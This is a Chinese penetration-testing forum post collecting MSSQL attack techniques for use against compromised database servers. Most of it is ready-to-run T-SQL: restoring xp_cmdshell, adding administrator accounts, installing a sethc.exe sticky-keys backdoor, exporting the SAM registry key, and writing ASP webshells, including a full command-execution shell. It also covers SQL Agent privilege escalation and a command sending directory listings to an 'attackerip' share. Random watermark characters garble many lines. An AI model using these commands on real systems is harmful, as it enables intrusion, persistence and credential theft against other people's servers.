中国网络渗透测试联盟

标题: XP_CMDSHELL恢复方法大全 [打印本页]

作者: admin    时间: 2012-9-15 14:37
标题: XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
. s: t1 b0 T0 _- c: |7 Z3 I. D恢复方法:查询分离器连接后,
% A+ D& D. V# [第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
; a5 ^! I+ M# s. _第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
) }8 H2 V: _; H0 m: S$ U5 Z8 l然后按F5键命令执行完毕
8 w  ]9 L2 _0 L: a5 c0 K
; w. n  R$ h( I2 v3 X* C6 n2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
3 ^8 M( e1 P% p# q5 {8 z恢复方法:查询分离器连接后,  Z: B5 L. |+ M- \) M* V, W5 Q+ i1 x
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"+ M2 `. ~. H% u0 @6 x/ P& W
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'& H6 u! o' k7 E2 s( u3 }
然后按F5键命令执行完毕  m( V' X4 K: A. ~+ s
# r7 U1 v, \# C) G# s4 z, _+ I
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)8 `$ I3 l: s) m4 D# E% F
恢复方法:查询分离器连接后,
+ B( a6 y4 T7 B8 |: C6 M) G第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
" f1 n8 W! J7 m* P7 C7 l0 P, A6 S第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       * ?9 o5 F2 T# A* {' x  i
然后按F5键命令执行完毕" n5 w! r# R8 m/ \3 i* F8 N

+ k$ p! l% {1 n, T4 终极方法.
# L) r6 l) h# I% K如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:3 L% H& G* K0 A6 M
查询分离器连接后,
9 A, l, Z$ N  o2000servser系统:
5 e0 I5 R- Q" C& |3 Q1 r% wdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
1 M+ g; o* c# M4 e! x% I
( c( q/ N3 U3 p0 Y! t! a# cdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
/ G3 i* i: _3 |) A. l, o" s- j/ E& w/ i* k. p
xp或2003server系统:3 Q# ^) o+ [, z& c& ]8 A/ ~' q

# ^/ m) E# E4 V5 \$ f) bdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'. m! k6 Z1 {* B  g: n

5 [" {& y: Z6 b: @) C: ~$ Ideclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
) P$ W: F) `3 a- S/ b5 B9 ^
0 ?0 b5 f, e, R! [/ y) B: a
" c3 s; K$ J- k5 S1 L8 I! N五个SHIFT5 ?: A* m( G' r/ z9 z. O- G
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';$ G# p+ H" J" K! i( |% u
7 @4 O# ?: n4 b# x' B0 q3 W0 h
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; % R2 h. `) g' I
2 a' |+ N) P8 x' ^' G* u- R
xp_cmdshell执行命令另一种方法
" J2 ~( g& d% `4 S" |0 M( edeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
7 q6 m, Y; N- v# b9 J8 ^2 s  ], N; |0 o* B3 C9 o
判断存储扩展是否存在6 V+ q' p7 M5 [# f; b0 b
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'1 C+ S) q9 D8 d4 Y' S$ z/ [: P
返回结果为1就OK1 G5 ~1 j* N4 x- b, T, }! _/ A8 D! M

% h( ]) E' ?0 O) V$ F- z% x* o0 B: C* n  q# _9 \8 [/ R$ U
上传xplog70.dll恢复xp_cmdshell语句:& u4 m+ l/ U. V; M. t7 [; ?3 }
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
- ~2 {+ L/ C, e: z4 X7 f
/ I0 l& K3 J  m2 P5 N: ^7 l否则上传xplog7.0.dll
& }. p' ~0 q, X, k4 J* QExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
1 s7 j* j: i& D4 f& z# |5 f
9 O; k+ W' Y& W9 q. `) c1 [7 f" p* u7 j. o* X4 |
0 H# g; d$ Q/ d- c& d; |* i' |: _
首先开启沙盘模式:9 \5 l0 {* o, ^9 R- m. c1 L
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
4 ^  L+ l( |) N5 k  ~# A9 U0 f, q7 C3 P$ h
然后利用jet.oledb执行系统命令* A- C1 H7 C4 F, n+ g
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')) {& t2 U* q3 O' ^
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
6 U% u  b( D0 f" W" V) z' y! g
' L0 w1 T4 Z6 q$ a2 M$ p% S
5 T; G. B" m7 X. U# N( ^2 N2 e# d4 Y0 J+ ]4 \1 p' Y
恢复过程sp_addextendedproc 如下: ' `9 _3 o' Y! P  H3 v: K' R
create procedure sp_addextendedproc --- 1996/08/30 20:13
0 b, W  D; W4 c) D: n: _! O  G@functname nvarchar(517),/* (owner.)name of function to call */ , \3 l% _& _" t+ s7 b( F7 k% \6 T  _
@dllname varchar(255)/* name of DLL containing function */ 3 G. j" n  O( d) n5 h
as
6 T, N2 o! @2 _4 ^% P0 gset implicit_transactions off
. g0 V2 x# L: x# E. H9 N+ Sif @@trancount > 0
5 B7 W* r7 X  w4 Q. Wbegin - ?# n' i+ Q0 r& W
raiserror(15002,-1,-1,'sp_addextendedproc') 1 L! W, \' N* u  v" }) ]
return (1)
( F1 f5 ?) H) u+ ^end + B1 V( E( E& V. Y$ p
dbcc addextendedproc( @functname, @dllname) " J" ?1 g  ]  `9 l0 N: c! }& C
return (0) -- sp_addextendedproc
3 A$ Y* m- T  e% A) q! P6 Z# t3 lGO 3 U$ ~$ B- `" x. j' Y  ]
- ]3 m, o1 [" b9 _

; b6 X( y: W. h1 z) _) j" N
7 Q( s0 Y, D6 B3 Q( F4 ^  u& f7 H, ?导出管理员密码文件& l3 j+ J1 |0 B9 K; `7 G: w1 I
sa默认可以读sam键.应该。) ^) h* P& h& l6 l4 a: m5 R
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg" b7 V/ L  B: r. c
net user administrator test2 i+ a" k5 n2 J+ o# S
用administrator登陆.
+ G5 j  `0 Y  R# `" f$ \1 g用完机器后! i' X3 @) A5 y  i6 V/ I, i
reg import c:\test.reg, s% m. ^+ V1 T4 B. q
根本不用克隆.4 g& w' A) _& I% `8 c
找到对应的sid.
- S! G5 x+ ~( O' j0 O: J7 J8 m- q$ ]' y

9 V+ d2 I" q+ i9 U6 O
8 @% X( P/ W4 K4 U' `2 Y+ O+ d恢复所有存储过程( B( k4 z0 @" K
use master
  a+ s) L! e6 ~- o5 _' Sexec sp_addextendedproc xp_enumgroups,'xplog70.dll' 7 D0 n# E0 k9 [' i
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' ! S# T6 E4 |, R6 S6 M' p
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
' s# N9 H3 p; {4 qexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
8 @* }% p4 K% t, E5 ^. Wexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
- d3 J. q' q! M" R5 U2 Xexec sp_addextendedproc sp_OACreate,'odsole70.dll' / F' u+ c7 y3 P9 B# C: q
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 7 h* t/ D/ K; _/ }
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' & A' ?- R: F$ }4 K; G
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
* Y4 F- |* l% p( pexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
9 S- x% i+ \) L1 P% P$ Cexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' ) C' l& {+ _  a4 l& \3 F$ D% w
exec sp_addextendedproc sp_OAStop,'odsole70.dll' 1 g1 E7 E3 M" o( ^! h+ S- L* ^
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 6 S5 z3 s0 T3 F. u6 ^
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' , h9 ~' Y* ?4 ?
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
$ X2 A  {2 u6 w' a9 ^exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' : l3 S* O+ |1 T! P2 L9 w' \( `" S
exec sp_addextendedproc xp_regread,'xpstar.dll' " `( |' V% `9 j  ~' h
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
6 r3 X" c. I8 I9 U. @exec sp_addextendedproc xp_regwrite,'xpstar.dll'
5 L  N& n! o' c  }4 [5 `# pexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
2 ]0 }7 s. m( V- E5 M& \7 G, x% Z$ |* g$ J/ w

3 T+ K" I, ?' S+ \: V( A9 I建立读文件的存储过程+ e# X. o9 P* C$ e' {
Create proc sp_readTextFile @filename sysname( e' A! r3 _) c. A# \8 S) e8 ~2 |
as6 n! W: z, d+ q% C6 r  N4 N% Q

, S# `$ }& x2 i; f$ A) ]: K- U    begin : S; Q( H9 A9 X2 C( u) V! v  v5 k
    set nocount on 0 {. R) s" V" x2 H8 Z
    Create table #tempfile (line varchar(8000))5 j0 T' V4 N: ?$ k, g
    exec ('bulk insert #tempfile from "' + @filename + '"')
  F  [- J- W% g# j/ j8 M/ Z( R    select * from #tempfile: O  X2 h* b+ G- E6 p
    drop table #tempfile
. w+ v# h$ g: {5 ~4 I; Q; k4 {- \End( g, D- }& v5 Y1 }' o; T: V
( q& M$ G1 J0 `; c& f5 L) r6 n& o
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件% W& w9 }+ n* o5 d5 M! V" C% s7 S
查看登录用户3 t9 H  }1 R! g( b  u
Select * from sysxlogins
& C  s8 c' S# o- g9 `+ }
" h6 I) q3 J7 j/ b0 A& D/ `把文件内容读取到表中
# B3 A, ^+ m: U' M$ F+ D, bBULK INSERT tmp from "c:\test.txt"
6 L, K6 Z# @5 n" V5 u1 {$ \& WdElete from 表名 清理表里的内容
+ ?: H1 ]( }2 i$ Y: J+ Z' z9 Ycreate table b_test(fn nvarchar(4000));建一个表,字段为fn; B$ l/ r' L. ^

1 k" T) `% j1 q  ?6 r# T
  ~7 k( f( g% R/ w3 c- R- C: b加sa用户
+ I- k5 e  }# f+ Q/ E: \! ~/ |exec master.dbo.sp_addlogin user,pass;
9 X$ B1 P; R2 E' nexec master.dbo.sp_addsrvrolemember user,sysadmin
* s% C6 g/ y/ l+ @% M. j+ C7 I3 d4 N3 L* p5 I* }# u7 Q6 v1 d. s

/ n9 h' L" [; r3 i! U5 L" z7 C3 Y% ]: j& y
读文件代码
" `0 z9 R$ q6 ?7 H- C) ndeclare @o int, @f int, @t int, @ret int8 R) k5 i* q# t+ m( ?! A
declare @line varchar(8000)
, Q  |) K  ]) I, Aexec sp_oacreate 'scripting.filesystemobject', @o out% f* O/ q: l/ f, f: a& w
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1" T# L! h2 _, I6 c( I" `
exec @ret = sp_oamethod @f, 'readline', @line out
4 V2 u% l5 ]3 J- q4 W7 F, m/ l% bwhile( @ret = 0 )
3 I5 ?* s7 E" K4 k7 h8 g/ @) Ibegin
( r1 u2 X  X! t% I9 {3 zprint @line
! ~6 z7 K# f' k" [) c8 Xexec @ret = sp_oamethod @f, 'readline', @line out
7 ^- n- x! _' Qend' U- J7 |0 F7 M4 I
- d  d8 G" g6 ]" P3 G4 R

' P2 E! i2 F4 f4 F$ A写文件代码:9 n6 k6 v, ^$ k% K# O
declare @o int, @f int, @t int, @ret int
( Y5 A$ ]* O% C; mexec sp_oacreate 'scripting.filesystemobject', @o out) s" U" E6 U8 n' ]( ^0 w& q
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 19 t% S; P; P8 z. Y, L  H* Y# s: u% g
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
  |1 L7 F. l: m( o- n4 V- r; c* |  h6 o$ P/ [) K! O3 B
( `$ a2 S& K5 S2 B. b( ]  r
添加lake2 shell( G4 i0 `& j1 ^" e
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
+ J5 H% \- _: [8 N8 B+ o# q& }8 F$ ^8 }sp_dropextendedproc xp_lake2
3 q! @& ]. d- y3 O, L% cEXEC xp_lake2 'net user'
& r8 q  Q9 B3 y  u3 C) M) d! ^' u; z+ F, e

$ ~9 T3 V; g, P+ t+ U得到硬盘文件信息 1 g% O2 z1 r5 D$ D4 i; }: V& r. f  q
--参数说明:目录名,目录深度,是否显示文件 ' J% q4 t, G% _& |. O1 |5 Q7 x+ @! b5 `
execute master..xp_dirtree 'c:'
% |3 Y+ M% q& K8 Qexecute master..xp_dirtree 'c:',1
* C0 w+ k* P2 u0 f: j" g1 Xexecute master..xp_dirtree 'c:',1,1 ) ]0 V8 T" e9 w# r0 f
) i4 H" P$ u0 j/ N
9 U5 V' e; S* L) \
读serv-u配置信息
8 A! O7 M* ]9 I6 P1 Yexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'- u2 d4 ]3 |( s8 |: E; d
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'. V# Z. S2 p" ~# [6 P' G
/ z: `) K% p; i0 M) S9 O/ m
通过xp_regwrite写SHIFT后门
8 t, k! ^- A' [. X4 H+ sexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
. C, e- Z& e. k: p( ?! u7 i& N  K* L/ c$ U) E

8 K: e4 e5 j) A% z; @8 V/ z# N
* h# t% v+ B  R* _( A找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
  }& W* k( ^5 x# h8 ~9 gexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了6 p- E# w/ w3 V
6 S2 c0 i, _5 B5 L5 a: S
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
& i% q& R* f2 b# i$ S7 @8 u5 ]! s0 D
3 d- {5 Q' i; r2 \

2 Z9 H) P. _6 Fsql server 2005下开启xp_cmdshell的办法
  s* a. t- x' \% h. y% y# B8 p8 W6 m  @' y3 O0 A" k! s' B
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
7 |0 t/ {  U8 k2 e1 F* h1 Y5 Z7 m; Q  K8 w+ A
SQL2005开启'OPENROWSET'支持的方法:, ~4 H  }. O; M6 o

$ ]# z/ G3 |% Z7 \* L, ^' f4 k0 Mexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
3 S" U5 H) @9 ?+ P: W5 [: ?+ F6 ?. A2 p2 N: `
SQL2005开启'sp_oacreate'支持的方法:+ x4 ]1 R- y8 x4 T& ]
6 I; _4 z4 h* O/ o7 _" n3 Y
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
- s7 t8 `& @5 _7 J
5 \/ a1 R& Q5 X) l2 G
# ]$ s  [* ?& e0 h1 U
" ]: G6 D, e9 U/ U+ l2 Z) h' I$ Y9 F3 `
7 q5 n8 ?/ b8 ^3 t. R1 b
- l6 W% ?0 B& Z& E& h

6 [- q' v. k  z: U( @  f' z0 E& t& R7 r0 o/ l
- j: @$ l8 O1 W* W2 G

+ l0 N8 q9 \/ ~
$ f) T. p. ^# W# m! t) ^  X& v; f
  M0 A9 s( @8 L" e$ ^  I2 f( }( V4 j1 q: B* ~$ c

* g5 V+ ?$ ^% j6 ^8 I$ q0 u% f/ W! d- [

8 Z9 {$ f" k" E& f" L, \/ L3 u+ O5 N5 e; q
2 a  J( h. S5 A+ z  ]
! j' f1 @& q. k

! p5 T7 U- `2 `$ T9 v
0 \6 _' I' J% g0 J1 L, s+ F
6 u7 B% f: I5 f! p' U4 h  ~* _* I  O% n( c" ]

+ n7 t/ b# X0 C8 Y以下方面不知道能不能成功暂且留下研究哈:2 W& d* s! O% f9 Q1 [3 l
4). K; F! B5 `4 t* r! _$ s  Q
use msdb; --这儿不要是master哟
4 `6 P& ~9 ?; R6 Z" ]1 ]! jexec sp_add_job @job_name= czy82 ;
: T2 b( a1 i# y3 r* ]exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;+ w2 H$ T/ s5 A
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;, d: _2 r( ~  ?  o
exec sp_start_job @job_name= czy82 ;! K; T- `9 h$ d( C0 U+ i& L
9 _6 ^7 }2 b/ Q* W
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以5 Z- S& ~& n4 I/ u
执行tsql语句了.# S/ S5 j3 ]& `" k
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
4 Q; ]! \4 g7 h! A第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)/ |, R( `' O, M4 I) b
net start SQLSERVERAGENT
- S* J" o+ w/ X& z" N) ?& ?; L0 n* Z3 C2 w. ~* h0 V9 V
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的3 o% s2 B- _/ J
USE msdb* D3 t+ C3 [5 P1 ?. S& j& x
EXEC sp_add_job @job_name = GetSystemOnSQL ,1 K3 e( x% r: x- Y
@enabled = 1,8 P" j) N2 n* X% x( S
@description = This will give a low privileged user access to
. w/ O3 C7 h% E7 {4 M3 W$ L' fxp_cmdshell ,
2 Y! {% r3 X5 I4 s" f0 l7 ]: ^@delete_level = 1+ O) @: z' p; D2 Y5 H/ k# q! F. O
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
- R% H+ O) f5 w. ]@step_name = Exec my sql ,
* H, j6 \3 x* R" X2 N: L) C* I+ s. P@subsystem = TSQL ,; w4 F, k' }5 }
@command = exec master..xp_execresultset N select exec& ]& D+ v" F5 \3 M
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
1 Y/ [: K- y. E0 bEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,; Z- S# V1 ~2 T6 ~
@server_name = 你的SQL的服务器名
1 g7 Y' z; b# `- V" A) Y9 |8 G' f5 z5 YEXEC sp_start_job @job_name = GetSystemOnSQL
9 h* N7 M) L2 q4 y6 V; S; `8 r3 s# b* n+ M$ W- u; C4 {6 Q
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
) m! ]" R, X6 O3 S& N8 ~) \6 t才让我们可以以public执行xp_cmdshell
2 Q4 \4 X0 Q5 X/ s7 d- x* M. B  O: _. F1 \
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
! ^+ g$ u3 m& D8 X" l在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
$ h- {* L& W6 _- C) S! O$ P3 G$ g  R5 \" u
USE msdb  A8 E8 G* [- F0 D
EXEC sp_add_job @job_name = ArbitraryFilecreate ," o7 c8 L$ K+ L  x8 n) j' b+ n# {/ S
@enabled = 1,
4 T) O; p7 o  l; b$ x, w4 M@description = This will create a file called c:\sqlafc123.txt ,
( U7 I0 }3 e! _7 b; g, u@delete_level = 1
) K9 }. [# M/ vEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
+ @# g# C' I) y# C: Q@step_name = SQLAFC ,
6 c& Q* b4 d! b: C3 m* ~@subsystem = TSQL ,/ V) i  [, L& ^0 N5 X$ B+ l6 T
@command = select hello, this file was created by the SQL Agent. ,7 H' r( ?5 t9 f( l5 ^5 w* Q
@output_file_name = c:\sqlafc123.txt
( A' @5 _0 |3 [+ T! REXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
/ d$ l2 M& t0 `" M* M% h@server_name = SERVER_NAME 9 ]* b# ]1 [# Y5 Z  z/ l
EXEC sp_start_job @job_name = ArbitraryFilecreate " s" O6 M: ]' {  l9 @' e) d3 \2 H

: X0 l  s6 z( y7 z: }如果subsystem选的是:tsql,在生成的文件的头部有如下内容
  P- c# R2 g" v0 `  |$ Z1 ]) o0 l: H+ [3 A3 R1 w
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19& x, j  o$ z' a9 x1 v1 t
----------------------------------------------& S2 i* z. l) O8 o1 ^/ r
hello, this file was created by the SQL Agent.
$ q6 r+ ?! h& M; y2 {6 c& ]
$ [+ Q9 Y* |" `! e1 j(1 ?????)! k, Y& s+ e$ A5 A6 R2 c

/ E8 D( z/ l' j  O; r5 o所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
: h' c! h( K2 ^! E) A命令的vbs文件到启动目录!5 z; _9 y7 |: `) M

" X6 P+ O8 R! l3 P7 g' |6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
; o6 m, N- \+ ^. m( l$ L" }关于sp_MScopyscriptfile 看下面的例子
( D% R7 p3 S4 kdeclare @command varchar(100) / R4 ~) k0 y9 z/ [( ?) W9 W
declare @scripfile varchar(200) - S+ Q1 V! D3 v6 s' j+ b1 s
set concat_null_yields_null off
% w9 J! m1 T" k* m% yselect @command= dir c:\ > "\\attackerip\share\dir.txt" 0 m" m1 W/ L, H8 r1 H4 k
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
0 e( H/ `6 E, h3 T" A" iexec sp_MScopyscriptfile @scripfile ,
0 H7 y, p/ L2 I7 Q) p# A2 }' S8 D* C- \7 {! H
这两个东东都还在测试试哟4 j6 ^, \; P) A6 u! A5 i; X' [+ S# t
让MSSQL的public用户得到一个本机的web shell: o$ l# x, a- ]2 w2 _
, o& [, N/ W9 L6 Y" P: U& H2 L
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,& c- X4 h+ o( s4 _" l2 l9 M
--@query= select <img src=vbscript:msgbox(now())> ; A8 U/ T; Z  v3 e/ p9 n
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
# e+ i0 ^7 h3 v9 H0 c2 U: r@query= select 7 A( }! D2 n2 d5 T# l2 e) T9 o
<%On Error Resume Next * O$ j% R8 C7 h) _
Set oscript = Server.createObject("wscript.SHELL")
: @' O2 r6 p  @5 g6 K$ N4 wSet oscriptNet = Server.createObject("wscript.NETWORK")
2 _, ?0 Q: \* p4 O0 t, FSet oFileSys = Server.createObject("scripting.FileSystemObject")
) u% G/ Y1 }% P2 B- U, BszCMD = Request.Form(".CMD") $ e; z! V, w- d. D. p3 W
If (szCMD <>"")Then
" M' M) j" Q( F& eszTempFile = "C:\" & oFileSys.GetTempName()
9 x% d$ T+ E# ]- o4 e( vCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
: x" |$ X/ F) \( |5 j# A& ZSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) + d+ d1 `  ^  m. }
End If %>
1 ^/ Z: V/ J4 K$ B( ~<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> ! k4 {/ V$ H8 z: q  Q6 A
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 7 X) d* J  T0 j5 V" f
</FORM><RE>
% g3 }* q" z% {<% If (IsObject(oFile))Then
7 y* J. d3 s  {7 D0 @On Error Resume Next
2 x0 R" J) h- U  ~5 lResponse.Write Server.HTMLEncode(oFile.ReadAll)
5 Y" s+ l+ f+ ^( foFile.Close
8 m) }: o8 U1 ~/ aCall oFileSys.deleteFile(szTempFile, True)
* O9 R0 U& ]& A0 `' w  d) LEnd If%> ( D- @. M$ S+ p; `& h
</BODY></HTML> 4 X- D$ X0 R9 \6 b6 ^% ~* T* e





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2